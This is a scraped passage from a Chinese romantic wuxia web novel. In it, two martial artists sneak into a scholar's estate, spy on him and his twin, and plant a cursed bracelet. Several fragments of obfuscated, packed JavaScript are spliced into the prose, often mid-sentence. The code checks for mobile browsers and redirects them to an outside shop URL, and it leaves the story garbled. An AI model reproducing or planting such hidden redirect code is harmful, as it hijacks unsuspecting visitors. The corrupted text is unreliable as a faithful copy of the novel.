这接下来的问答,对张龙这经历过于单纯的人来说,冲击力着实大了一些。 “我弟和小王爷可还在府里?”陆停问。 下面领头的那个人回答道:“王爷进宫禀报去了。” 陆停听了这话,神情明显松弛了一些,像是松了一口气。他点了点头,又说了一句:“哦,那就行,没去和周芹那个野狐狸又去喝酒就好。” 他说“野狐狸”三个字的时候,语气里带着一种毫不掩饰的嫌弃。 下面那人便僵住,似乎斟酌了一下措辞,才小心翼翼地开口:“……大公子慎言啊,那是探花郎。” 陆停就又凉凉地确认一遍:“野狐狸。” 底下的人便默默无语了,一个个垂着头,不敢再接话。 这时候陆停也不多说了,他解开随身带的小包袱,把包袱皮摊在地上,从里面收拾出一堆东西。张龙借着灯笼的光看过去,那些东西金灿灿银闪闪的,有镯子有戒指有小巧的挂件,看着还蛮值钱的小玩意儿,零零碎碎地堆在一起,当啷当啷地响。 陆停把这些东西散给那些人,每人分了几件,一边分一边说:“原本想亲自先告个别的,算了,帮我给我弟带个话,就说我去帮他俩收拾野狐狸了,等孩子百日宴时,自会回来。” 他说完这些,把空了的包袱皮随手一卷,塞进怀里,然后一把拉住张龙的胳膊。 张龙还没反应过来,就被他拖着往别的的方向走去。张龙脚下踉跄了一下,勉强稳住身形,被他稀里糊涂地又带上了路。 临走前张龙隐约听到,王府的深处传来婴儿的啼哭。 但他来不及多想。 张龙全是凭借着身体的肌肉记忆跟在陆停身后腾移。他的脚在瓦片上一沾即走,身体在夜色中无声地滑行,这些动作他做了无数遍,已经不需要经过大脑了。猎猎风声从耳边刮过,吹得他的衣袍作响,也吹得他有些凌乱的思绪在脑子里打转。 他忍不住追问:“你弟和……王爷,怎么回事?” 前面的陆停答得干脆:“成亲了。” 他的声音被风撕扯得有些模糊,但张龙还是听清了每一个字。 “啊,”张龙心里咯噔一下,像是有什么东西在胸腔里猛地沉了下去,“都,都是男的?” 两个男的怎么可能在一起! 张龙的脑子里轰地一声。他对这种龙阳之好有种下意识地抵触。不怪他,某年中秋夜,涉世不深的张龙喝得大醉,被某游侠拐到墙角。那人的手已经搭上了他的肩膀,呼吸喷在他的脖颈上,味道恶心得很。还好,那人朦胧中低头瞥见了张龙手腕上的镯子,吓得登时酒醒,掉头就跑。那是张龙唯一一次觉得,自己的镯子也能带来好运。 现在张龙看着眼前人的背影,有些犹豫要不要继续跟上去。陆停的背影在月光下显得修长而利落,黑色的衣袍被风吹得紧贴在身上,勾勒出肩背遒劲的线条。 话说这个人,不会也是那样的吧。 若是如此,那是万万不能同行的。 但又难得遇上一个能和自己打一架的人。 这两种念头在张龙的脑子里搅在一起,像两股绳子绞来绞去,绞得他心烦意乱。他的脚步慢了下来,和陆停之间的距离拉大了几步。 “陆……”张龙张张嘴,还想说什么,前面的人忽然道: “小嘴巴闭起来,一开口,凉气全给吸进肚子里去了。” 诡异的是,下一刻,张龙真的感觉自己喝了一口冷风。那股风不知道从哪里灌进来的,顺着他的喉咙钻下去,凉飕飕地滑过食道,落在胃里,然后打了一个嗝。 算了,那还是不问了。 张龙破罐子破摔地继续跟着。他的脚步重新跟上了陆停的节奏,两人的身影一前一后地在屋檐和墙头之间穿梭,像两只夜行的猫。 他跟着陆停穿过几条街巷,拐过几个弯,最后来到了城中繁华处的一间小院。 这院子的位置极好,藏在一条幽静的巷子深处,四周都是高门大户,青砖灰瓦,朱漆大门,一看就不是寻常人家的宅院。能在这里住着的,绝非平常人家。 两人从后院墙上落下的时候,入目的,是一处很大的,露天的汤池。 那汤池呈长方形,大约有两丈见方,池壁用青石砌成,打磨得光滑平整。池水清澈见底,在月光下泛着粼粼的波光,水面上飘着几片花瓣,也不知道是什么花,白白的,小小的,在水波中轻轻打转。池边还立着几盏石灯笼,里面的烛火已经灭了,只剩下冷冰冰的石壳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430624|200916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周芹,探花郎,好姿容,好沐浴。所以他家里有这些,倒是不稀奇的。 问题在于,周边有的是贵人盖起的高高楼阁,从那里向这边看来,是一览无余。 张龙抬头看了看四周,那些楼阁的窗户黑洞洞的,像是无数只眼睛,正居高临下地俯瞰着这座小院。汤池就这么露天敞着,没有任何遮挡,从那些窗户望下来,池子里的一切可都是清清楚楚。 探花郎你是真大方啊。 此时张龙有些紧张起来,觉得自己跟做贼一般。他的心跳比平时快了一些,手心微微沁出汗来,脚步也放得更轻了,每一步都小心翼翼地避开可能发出声响的地方。 他们张家是正派的武学世家,从不干这等事情。之前去许小姐那里,是事出有因,现在来这里,是跟着瞎闹。他爹要是知道他这么干,怕是要气得把家法请出来。 但现在他依然跟在陆停身后,惴惴不安地问他:“是不是要去揍那人一顿?” 陆停头也没回,压低声音说:“早就揍过了。” 像是在说一件早就办完了的差事: “只是当时秉持着规矩是死的,人应该是活着的这一原则,我没有下死手。否则今时今日,就该是规矩是死的,探花郎也是死的。” 张龙:……那你还挺仁义哦。 两人一路溜进屋,进卧房,凭着彼此高超的轻功,竟也算是大摇大摆了。他们的脚踩在走廊的木板上,没有发出一丝声响,偶尔有丫鬟从廊下经过,两人便无声地贴在梁柱后面,等脚步声远了再继续往前走。 甚至,进了卧室,陆停还提起茶壶来喝上一口。 那茶壶搁在桌上,壶嘴朝着外面,旁边倒扣着两只白瓷茶杯。陆停拎起茶壶晃了晃,听到里面有水声,便翻过一只杯子,给自己倒了一杯。茶水已经凉了,他喝了一口,咂了咂嘴,似乎觉得味道还行,又喝了一口。 而那边,隔着大床的被风吹得飘起的帘幕,张龙小声地“咦”了一下。 床上的帘子是纱质的,很薄,被从窗户缝隙里钻进来的风吹得轻轻飘动,像水波一样起伏。透过那层薄纱,他隐约看到床上有两个人影。 他定睛一看,在这床上,并排躺着两个年轻人。他们长着一模一样的脸,身形也很差不多,穿着一模一样的白色中衣,头发散在枕头上,黑鸦鸦的一片。两人的呼吸都很均匀,看起来睡得正沉。 张龙眯着眼睛仔细分辨了一下,区别大概在于,其中一个的下巴处隐隐有点乌青,像是不久之前才被谁揍过。那片乌青不大,但在白皙的皮肤上显得格外明显,像是熟透的李子上的一块淤痕。 陆停这时也探过脑袋来。他把茶杯随手搁在桌上,猫着腰凑到张龙身边,两人的肩膀挨在一起,脑袋并排着,从帘子的缝隙里往里看。 两人像两只小鸟,凑在一起好奇地瞅啊瞅。 “这,陆兄,哪个是你说的野狐狸啊?” 5. 第 5 章 一旁的陆停低头瞧着,按一下眉心,若有所思:“这个,没听说过探花郎还有兄弟的啊,还是长得一个样子诶……” 他的手指在眉心上揉了两下,像是在努力回忆什么,眉头拧成一个浅浅的结。 此时恰巧风动,帘子拂过睡在边上的人的脸。那人似乎被这轻柔的触感扰到了,鼻翼微微翕动了一下,手指也在被褥上轻轻蜷了蜷。他抬手,有要睁眼的迹象。 张龙的心猛地提了起来,一股凉意从后背蹿上来。他来不及多想,本能地伸手去拉陆停的袖子,要往床底下躲。床底下的空间不大,但塞两个人应该勉强够用,总比被人抓个正着强。 只是陆停果断反手拉过他。 还低声说:“趴床底不吉利的。” 陆停的手扣在张龙的手腕上,力气很大,一把将他从蹲下去的姿势拽了起来。张龙被拽得脚下一个趔趄,身体不由自主地跟着陆停的方向倾斜过去。下一秒,陆停已经带着他从窗户翻了出去。 他们就这么并排坐在窗根底下。背后是冰冷的墙壁,面前是一丛矮矮的灌木,刚好能遮住两人的身影。天已有些蒙蒙亮,东边的天际泛起一层淡淡的鱼肚白,像是一块被水洗过的薄纱铺在那里。远处的屋顶和树梢都笼罩在一层青灰色的晨雾中,轮廓模糊不清。 张龙侧过脸看着陆停,问他:“有何打算?” 陆停说:“这个简单,我不是跟你说过了吗,要让他见到镯子,担一担被莫名其妙地一见钟情的烦恼。” “问题在于,现在似乎出现了两个周芹。”陆停顿了一下,“虽然其中一个有伤,但我记得的,我揍人时,揍的可不是脸上。” 陆停又想了想: “话说要是两人同时遇上镯子里苏醒的鬼魂……” 陆停没有把这句话说完,他看向了张龙。 张龙也在看着他。 两人交换了一下目光。 张龙从陆停的眼睛里看到了一种微妙的光亮,那光亮里带着一丝玩味,一丝好奇,还有一丝说不清道不明的促狭。 虽然没有言语,却是莫名读懂了对方正在想象什么。 那画面其实不难想。两个长得一模一样的人,同时被一个来历不明的鬼魂一见钟情,那鬼魂该对着谁痴恋呢?若是两个都要…… 那这事情干得就很淫……不,对镯子里的那位来说,就很仁义了。 张龙把这个念头从脑子里赶了出去,耳根微微有些发热。他把目光移开,假装刚才什么都没有发生。 这时候,从远处隐隐传来柴火味道。那味道很淡,混在露水的气息里,像是一根细细的线,从某个方向牵过来,牵到两人的鼻子底下。 是炊烟的味道。有人在生火做饭。 两人再交换一个眼神,又知道要去做什么了。 这一次的默契来得更快,几乎是在目光相接的一瞬间就达成了共识。张龙也不知道自己什么时候跟这个人有了这种不用说话就能互相明白的本事,明明才认识不到一天。 他们从窗根底下站起来,猫着腰,沿着墙根往烟雾飘来的方向摸过去。 小厨房在院子的西北角,是一间低矮的瓦房,屋顶上竖着一根烟囱,正往外冒着淡青色的烟。厨房的门半敞着,里面传来锅碗瓢盆的碰撞声和灶火燃烧的噼啪声。 一个妇人正在灶台前忙碌,背对着门口,腰间系着一条蓝布围裙,头发用一块布巾包着。她正往锅里添水,嘴里哼着不成调的小曲,完全没有注意到身后的动静。 摸进小厨房,趁着那妇人不注意的时候顺走几个馒头,两碟小菜,盘腿坐在房梁上吃,是能轻松做到的。 房梁上的灰尘很厚,坐上去噗地腾起一团灰雾。两人也顾不得这些了,盘腿坐下来,把小菜放在梁木上。馒头还是温热的,拿在手里软乎乎的,散发着一股麦香。 只是没有想到,没过多久,他们看到堂堂探花郎,不等着仆从端饭送去,竟是亲自进了这烟尘之地。 梁上两人拿着馒头,齐刷刷地看着门口。 周芹散着一头黑发进了屋子。他的头发没有束起来,就这么披散着,垂到腰际,乌黑发亮。他还穿着那件白色的中衣,外面随意罩了一件浅青色的外袍,整个人看上去飘飘渺渺的,乍看上去像幽幽鬼魅。 他走进厨房的时候,脚步很轻,目光在屋子里扫了一圈,最后落在那个妇人身上。 他转头看一眼厨娘,说的第一句话是:“怎么院子里的鸡还没有杀完?” 他的声音不高,但带着一种让人不敢怠慢的冷意。 厨娘转过身来,躬着身子,脸上的表情从惊讶变成了为难,又从那为难中挤出一丝讨好的笑。 她小心翼翼地回答:“大人,咱这日日宰鸡吃肉,鸡死得确实是差不多了。” 她说的是实话。张龙在梁上往下看,厨房的角落里堆着一小堆鸡毛,花花绿绿的,旁边还有几个被掏空了内脏的鸡架子,挂在木钩子上,血水还在往下滴。 周芹冷冷道:“那我怎么还听见有鸡叫?” 他的语气很平,平得像一潭死水,只是那死水下面藏着的东西,让厨娘的脸色白了一白。 这下厨娘就很为难了,她的嘴唇哆嗦了一下,声音也跟着小了下去:“大人,那是隔壁家的啊,咱总不能去别人家杀□□,这是杀不完的呀……” 她说得也有道理。鸡叫是从隔壁院子里传过来的,那声音嘹亮得很,隔着墙都能听得清清楚楚。人家隔壁养鸡,总不能冲进去把别人的鸡也给宰了。 此时周芹不说话,只是在那儿站着。他站得很直,双手垂在身侧,脸上一丝表情也没有,整个人像是从冰窖里搬出来的一块寒冰,浑身结了冰霜一样。那股冷意从他身上散发出来,逼得厨娘连呼吸都不敢大声了。 厨娘把围裙攥在手里,退了一步,又退了一步,然后飞快地转身,几乎是逃一样地退出了厨房。 这时周芹自个儿拣了一些吃食搁在盘子里。他的动作很慢,一样一样地挑,挑了几块点心,拣了几样小菜,又盛了一碗粥。他把这些东西一样样地码在托盘上,摆得整整齐齐,然后端起托盘,转身出去。 只是周芹完全没有注意到,就在他低头忙活的时候,梁上有人褪去了别人腕上的玉镯,指尖凝力,稳稳运气,将那枚镯子送入了托盘上的帕子下。 * 那只玉镯从张龙的手腕上被褪下来的时候,他感觉到一阵轻微的凉意,像是一条冰凉的蛇从皮肤上滑过去。那只镯子跟了他二十四年,从小戴到大。如今突然被摘下来,手腕上轻飘飘的,像是少了什么很重要的东西,空落落的。 旁边陆停的动作很快。他的指尖凝着一股内力,稳稳地托着那只镯子,在周芹低头拣吃食的那一瞬间,将镯子送入了托盘上的帕子下面。那帕子是白色的,薄薄的,镯子被压在下面,从外面看不出任何异样。 周芹端起托盘走了出去。他的背影消失在厨房门口,青色的衣袍在晨光中一闪,便隐入了院子里的薄雾中。 等周芹走远了,张龙才敢出声道:“我的镯子!” 他的声音有些发紧,带着一种明显的慌张。他的手不自觉地摸向自己的左手腕,那里光溜溜的,什么也没有。那种空荡荡的感觉让他很不适应,像是踩空了楼梯,整个人往下坠了一下。 陆停嚼一口馒头,腮帮子鼓鼓的,含混不清地问他:“这东西不是给你带来很多麻烦吗?既然如此,摘了它难道不是好事?” 他说得轻描淡写。馒头在他嘴里被嚼碎了,他咽下去,又咬了一口。 张龙摇头,说:“你不懂。自我记事起,所有人都告诉我,这东西相当于我的护命符。家中大人都说,我离了这个,活不长的。” 他的声音很低,低到像是在跟自己说话。他低头看着自己空荡荡的手腕,那上面的皮肤比别处白一些,是常年被镯子遮住没有被日头晒过的颜色。一圈浅浅的印子还在,像是某种烙印,刻在那里,怎么也消不掉。 结果陆停的神色忽然变得非常认真。他把手里剩下的馒头放下了,拍了拍手上的渣子,转过身来正对着张龙。他的眼睛直直地看着张龙,那目光里有了一种之前从未有过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被问的人便带着些笑意说:“你又不是没见过他,如玉石一般,称得上是君子。” 他的声音温润,像是在品评一件精致的玉器。 弟弟却说:“是挺好看。但我怎么觉得,他那位夫君的哥哥,更是别有一番味道呢?我可是看见了,那日湖边他抱着剑站着,穿得虽严实,腰间的肌肉可是明显得很。” 这话说得直白又大胆,带着一种少年人特有的张扬和不知收敛。他说“腰间的肌肉”四个字的时候,语气里带着一种不加掩饰的欣赏,甚至还有一丝垂涎的味道。 这下,外面坐着的张龙伸出手。 之前是陆停很没有边界地拍他的大腿。 现在是张龙很没有边界地直奔陆停的肚子而去。 他的动作快而准,手掌覆上去的时候,隔着衣料摸到了一片温热的柔软。刚吃饱的肚子是软乎乎的,还没回应过来的陆停是懵懵的。 张龙左手挠挠头,右手指尖在陆停的肚子上无意识地蹭了两下,脸上带着一种认真思索的表情:“这也没啥味道啊……” 他是真的在感受,在体会,在努力理解那个弟弟说的“别有一番味道”到底是什么意思。但陆停的肚子除了软和温暖之外,目前,他还没发现有什么特别之处。 陆停:“……” 这时屋内传来一道惊喜的声音:“哥,好漂亮的镯子,是你特地买来送我的吗?” 那声音带着一种小孩子才会有的单纯的欢喜。 回应他的,是碗筷坠地的声响。 那声响很脆,是瓷器砸在石板地面上碎裂的声音,在这安静的清晨里显得格外刺耳,然后是片刻的沉默。 很快的,有人收敛起自己的心思,恢复了那份沉静,声音平稳得像是刚才什么都没有发生过:“嗯,你先收着吧。” 屋外,陆停笑了一下: “看来有人和我一样,见到的不是镯子啊。 那,我就知道周芹到底是谁了。” 6. 第 6 章 张龙发现陆停着实是个很神奇的人,单是听完屋里那些动静,就能判断得出来谁才是周芹。 他也不知道陆停是怎么做到的。屋里那两个声音几乎一模一样,但陆停听完那几句关于镯子的对话之后,就很笃定地跟他说,那个沉下来说“你先收着”的,就是周芹。 张龙问他凭什么判断的,陆停只说了一句:“感觉。” 这个回答让张龙很不满意,但他也找不出反驳的理由。 日头渐高以后,周芹叫人搬了摇椅到院中。两个小厮抬着一把竹制的摇椅,稳稳地放在院子中央那棵老槐树的树荫下。周芹还是散着发披着衣,那件浅青色的外袍松松垮垮地搭在身上,衣领敞开着,露出一截锁骨。他躺在那上面,整个人陷进摇椅的竹篾里,伸手从旁边的小几上拿起几本闲书,有一搭没一搭地翻着。 躲在屋顶上的陆停和张龙趴在一处屋脊的背面,两人的身体紧贴着瓦片,只露出半个脑袋往下看。这个位置很好,正好能俯视整个院子,又不会被下面的人轻易发现。阳光从东边斜照过来,把院子的半边照得明亮,半边留在阴影里。 陆停侧过头,压低声音和张龙说,这些日子以来,周芹就这么一直称病不出门,待在圣上赐给他的宅院里。 张龙点了点头,目光落在下面那个懒洋洋的人身上。确实,周芹看着一副不太动弹的样子,身体陷在摇椅里,连翻书的动作都慢吞吞的,像一只晒太阳的猫。 但其实他一点都没有闲着。 看了几张书以后,周芹拈起一旁碟子里的点心。那是一块桂花糕,淡黄色的糕体上撒着几粒金黄色的桂花,他咬了一口,嚼了两下,眼睛微微亮了一下。他觉着好吃,就叫小厮过来,声音笃定地说:“宁王定然爱吃这个,现在就去买了新鲜的送过去。” 小厮应了一声,转身小跑着出去了。 没过多久,周芹又叫人取来手帕。一个丫鬟从屋里捧出一方白色的丝帕,恭恭敬敬地递到他手边。周芹接过帕子,铺在小几上,又让人拿来笔墨。他提起笔,蘸了朱砂,在那方白帕子上不知写了一些什么诗句。张龙离得太远,看不清上面的字迹,只看到朱砂的红色在白帕子上蜿蜒游走,像是一条红色的蛇。写完之后,周芹端详了一下,似乎还算满意,轻轻吹了吹未干的朱砂,又吩咐人给宁王送去。 屋顶上的张龙感觉得出来,他身边的这位也正在逐渐结冰中。那种变化是缓慢的,但很明显。 陆停的呼吸变得比之前慢了一些,每一次呼气都像是从牙缝里挤出来的,带着一股凉意。 张龙下意识地缩了缩,离远了一些。他往旁边挪了半尺,又觉得不够,再挪了半尺,直到两人之间隔出一段安全的距离。那股冷意还是若有若无地飘过来,让他后脖颈上的汗毛都竖了起来。 现在张龙可算是知道为啥叫这人野狐狸了。 明知人家已有婚配,还这么明目张胆地勾引。送点心,写情诗,一套一套的,做得自然又熟练。嗯,不是野狐狸,那又是什么呢? 只是这次小厮没有立即领命出门。那个小厮弯着腰,双手捧着那方写了朱砂诗句的帕子,却没有转身离开,而是站在原地,脸上带着一种犹豫的表情。他迟疑了一下,拱手说:“宁王还在宫里与圣上对弈,怕是一时半会儿出不来。” 他的声音很小,像是怕惊动了什么。 这时候周芹抬起书遮了一下太阳光。他把书举高了一些,挡在眼前,挡住了从树叶缝隙间漏下来的光斑。他的脸被书遮住了大半,只露出一个下巴和微微上扬的嘴角。他问:“你知道为什么吗?” 小厮摇了摇头。这宫里的事情,他哪里知道,哪里敢知道。他的头摇得像拨浪鼓,脖子上的青筋都绷出来了,整个人紧张得不行。 而周芹清楚得很。他慢悠悠道:“我可是听说了,宁王与那个来路不明的民间男子成亲以后,大家都可着劲儿给他们送孩子。那些冷门宗亲就不说了,就在前几日,有义士在王府门前放下过一个婴孩,附信一封……你可知,那写的是什么?” 他的语气很慢,像是在讲一个无关紧要的故事。 小厮继续惶恐地摇头。他的身体已经开始发抖了,膝盖弯了下去,几乎要跪在地上。 周芹笑起来。他说:“写的是,这孩子是某某大臣的遗腹子,求他们收养。嗯,姓秦的你可还记得,前几日被抄了家的灭了九族的那位?” 小厮这下是要真的被吓死了。他的腿一软,扑通一声跪在地上,额头磕在石板地面上,咚咚咚地叩了好几下。他的身体蜷缩成一团,像一只被踩了尾巴的狗,浑身都在哆嗦。 周芹也懒得再让他听这么危险的事,挥挥手让他退下。他的手在空中摆了摆,动作很随意,像是在赶一只苍蝇。小厮如蒙大赦,爬起来连滚带爬地退出了院子,那方写了朱砂诗句的帕子被他遗落在地上,被风卷起来,飘飘荡荡地落到了花丛后面。 独自待着的时候,周芹自言自语道:“那个叫陆停的倒是聪明,立刻抱来了一个被扔掉的农夫的女婴给他们养。” 他的声音很低,低到像是在跟自己说话。他的目光落在远处,落在院墙上方那一片被阳光照得发白的天空上,眼神有些放空。 “哎,要是没了这个人,该多好呢……” 这些话,旁人听不到,近处树后,屋顶上藏着的两人可是听得清楚。 张龙的心跳漏了一拍。他下意识地屏住了呼吸,身体僵在瓦片上一动不动。他的脑子里飞快地转着,把刚才听到的那些话一句一句地拆开,又一句一句地拼回去。 现在张龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那字号大得离谱,像是生怕人看不见似的,每一个都有拳头那么大,墨色浓黑,在粗糙的纸张上洇开了一圈毛边。上面写着: “据可靠消息称,宁王的夫君陆娇决意巩固自身正室地位,定要调养自身,二举复得女三举再得男,举举无穷尽矣。意欲送孩子寄养者,日后恐无望。” 好的,别说周芹了,就是张龙看到这个,都露出诡异神情。 他的嘴巴微微张开,眉毛拧在一起,脸上的表情像是在同时品尝酸甜苦辣咸五种味道。他缓缓转过头,看向身边的陆停。 旁边的陆停倒是很坦然。他的表情没有任何变化,甚至带着一丝微微的得意。他迎上张龙的目光,嘴角轻轻一翘,说: “看够了吗?我投稿的,稿费四个铜板呢。” 张龙则是缓缓道:“我问一下,你真的是陆娇他……他哥吗?” 带着一种深深的怀疑。 真的是吗,啊?啊? 7. 第 7 章 周芹丢了那份小报,仍旧躺着,只是再无那份闲适。 他的身体陷在摇椅里,姿势跟之前差不多,但整个人的气韵变了。之前那种慵懒散漫的感觉消失了,取而代之的是一种绷紧的安静。他的手搭在扶手上,手指一下一下地叩着竹篾,发出细微的哒哒声。那份小报被他丢在地上,被风吹翻了页,哗啦啦地响。 天刚擦黑的时候,又有人来通报。一个小厮急匆匆地从院门外跑进来,气喘吁吁地停在摇椅旁边,弯着腰,声音里带着一种紧张兮兮的兴奋:“大人,宫里头传出来的消息,说是陛下应是也读到了那份小报,大笑,放宁王出宫了。” 周芹叩着扶手的手指停住了。 他的身体在摇椅里凝固了一瞬。然后他慢慢地坐起来,一头黑发从肩侧滑下去,垂在胸前。他的脸隐在暮色的暗影里,看不清表情,但那双眼睛在昏暗中亮了一下,又暗了下去,像是一块炭火被风一吹,闪了闪,又归于沉寂。 这时候周芹就阴恻恻地站起来,回房。 他的动作很慢,从摇椅上站起来的时候,膝盖似乎有些发软,扶了一下扶手才站稳。他没有说话,甚至没有看那个小厮一眼,就径直往卧房的方向走去。他的白色衣袍在暮色中飘飘忽忽地穿过院子,消失在门洞里。 张龙和陆停在屋顶上对视了一眼。两人默契地起身,从屋脊后面翻过去,沿着来时的路线,无声无息地跟在周芹后面,先他一步回到了卧房窗外。 按理来说,大户人家的卧房那边,总是要有丫鬟伺候的。可这周家就很奇怪,越往里越静,越看不见别的人。穿过回廊的时候,两侧的厢房都是暗的,没有灯光,也没有人声。再往前走,更是一片死寂,连个灯笼都没有挂,只有天边最后一抹残照的余晖,将屋檐的轮廓勾出一道淡淡的金边。 张龙和陆停蹲在窗根底下,往里看,发现屋里那个和周芹长得一样的人正坐在镜前。 屋里点着一盏油灯,火光不大,只能照亮铜镜周围一小片区域。那个人也穿着一件白色的中衣,背对着窗户,坐得很直,面前是一面铜镜,镜面磨得光亮。他的手里拿着那只玉镯,举到眼前,端详着。 那只镯子在油灯的光线下呈现出一种深沉的颜色。在镜前微弱的火光中,那些红色的纹路像是活的一样,随着光线的变化而微微闪烁。 平常张龙戴着这镯子不觉得有什么,这时候从旁侧去看,莫名地身上发冷,感觉像是在被一双阴冷的眼盯着。 难怪,难怪别人会躲着他走,是因为诅咒,也是因为这个镯子看着就邪门。张龙忽然有些理解那些人了。他自己戴了这个镯子二十四年,从来没有从旁人的视角看过它。如今第一次以旁观者的身份去看,他才意识到这东西到底有多瘆人。 这时候陆停拍一拍他,将他从这惊悚的情绪里拽出来。陆停还伸出手,食指指向窗户里面,指了指那个人的后颈。 现在,这个“周芹”的后颈上,又出现了一块儿乌青。 张龙眯着眼睛仔细看。那人的头发披散着,大部分垂在背后,但有一缕头发被拨到了肩侧,露出一小片后颈的皮肤。那片皮肤上,有一块铜钱大小的乌青,颜色比之前下巴上那块更深一些,边缘模糊,像是皮下积了一滩淤血。之前在下巴上看到那块乌青的时候,张龙还以为是被陆停揍的,但现在后颈上又出现了一块,而且是在短短半天之内新冒出来的,这就不是陆停揍的了。 恰好此时,外面的周芹推门而入。 门被推开的时候发出轻微的吱呀声。周芹站在门口,定定地看着镜前的人。他的胸口起伏着,脸上没有什么表情,但那眼神很复杂,像是有很多东西堵在里面,说不出来,也咽不下去。 还是坐着的人听到了他的动静,主动转过脸来先和他说话的。 “哥,我身上好脏,我得去洗一洗。” 周芹轻轻地点一点头,说:“好。” 他的身体微微侧了一下,让出了门口的位置。 那个人便从椅子上站起来,把玉镯放在梳妆台上,然后低着头,绕过周芹,走了出去。他的脚步很轻,踩在地板上几乎没有声音。白色的中衣在昏暗的走廊里一闪,便消失了。 等双胞胎弟弟走远了,脚步声彻底听不见了,周芹还站在门口,保持着刚才那个侧身的姿势。然后他的身体晃了晃。 先是膝盖磕在地板上,然后是手掌撑了一下,没撑住,最后整个人侧躺在地上,蜷缩着。 张龙下意识要去看。他的身体已经往前倾了,陆停却是先捡了石子儿丢进去。 石子儿嗖地飞出去,落在周芹身边的地板上,弹了两下,滚到他的手臂旁边。石子儿撞击地板的声音在安静的房间里显得很清脆,哒哒。 周芹没有任何反应。他的身体一动不动,甚至连手指都没有动一下。他的眼睛闭着,睫毛微微颤动,呼吸又浅又急,像是一只被丢上岸的鱼。 陆停确认屋里的人着实没反应,是真的晕了以后,这才翻窗进去。他的动作很快,一只手撑住窗台,身体一翻就落了地。张龙跟在他后面也翻了进去,两人一前一后地蹲在周芹身边。 陆停伸出手,摸一摸他的额头。他的手背贴在周芹的额头上,停了两秒,又在自己额头上贴了一下,收回手,说:“发烧了。” 两人就把他抬到床上。 陆停帮忙给倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430627|200916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点水。他在桌上找到茶壶,倒了一杯,搁在床头的小几上。张龙则在梳妆台旁边找到了一条干净的面巾,浸了水,拧到半干。 拧着帕子的水的时候,张龙抬头,无意中看见了面前的铜镜。 铜镜里映出他的脸。那张脸线条硬朗,带着一种常年习武之人才有的凌厉和刚硬。眼睛下面有一圈淡淡的青黑,是这些年没怎么睡好觉留下的痕迹。嘴唇微微抿着,嘴角向下撇,看起来有些不高兴。 张龙看着镜中的自己,一时间有些恍然。 他怎么记得,自己是陪陆停来欺负小三的呢? 这怎么都杀上门来了,还要伺候小三啊! 他们两个人,现在一个倒水,一个拧帕子,忙前忙后的,简直是照顾得妥妥帖帖。 咱俩是田螺姑娘是吗? 而此时,陆田螺姑娘正伸出手,将梳妆台上遗留的那只玉镯拿过来。陆停用桌上的一根红线,从镯子中间穿过去,打了一个结,然后把红线系在床帐的挂钩上,将镯子吊起来,垂在周芹闭着的双眼前方。 镯子悬在半空中,离周芹的脸大约一尺远,随着红线微微晃动,一圈一圈地转着。 那意思有点明显,应该是想让镯子里的鬼时刻盯着床上的人,说不定周芹醒的时候恶鬼也醒了,非常方便他们一见钟情。 张龙从没想过自己的镯子还能这么用。 更没想到陆停起身,拍了拍手,退后两步,上下打量了一下自己的“作品”,再看了看旁边的张龙,然后忽然叹了一口气,用一种自怜的语气说: “你有没有觉得咱俩很像田螺姑娘。” 早就这么想的张龙用力点头。 陆停又说:“这就对了,上一世他从河里捞出咱俩,给咱们麻辣爆炒了,戳肉给别的狐狸精吃,这一世,我们是来报仇的。” 张龙思忖片刻,无言以对,只能继续点头。 这一刻他的思绪忽然飘到别处。 他在想,等欺负完床上这只野狐狸,也不知以后他与陆停能否再这么继续呆着,说着话。 那可不是一般的江湖人,是宁王府的贵人,与他有这般机遇,不过因为用得着他的镯子而已。 只是张龙从没遇见过这样的人。 确切地说,都没什么人正儿八经地和他来往过,而他第一次交朋友,就遇上这样的家伙。 张龙还想到,听家中阿姐说过,有蛊毒,可控人,能留你想要的人在你身边。 多可笑。 哪里会有这样管用的东西?要是有了,世上就应当不会再有缘尽之事。 张龙仍站着,而那边,陆停已转过身,向着外面而去。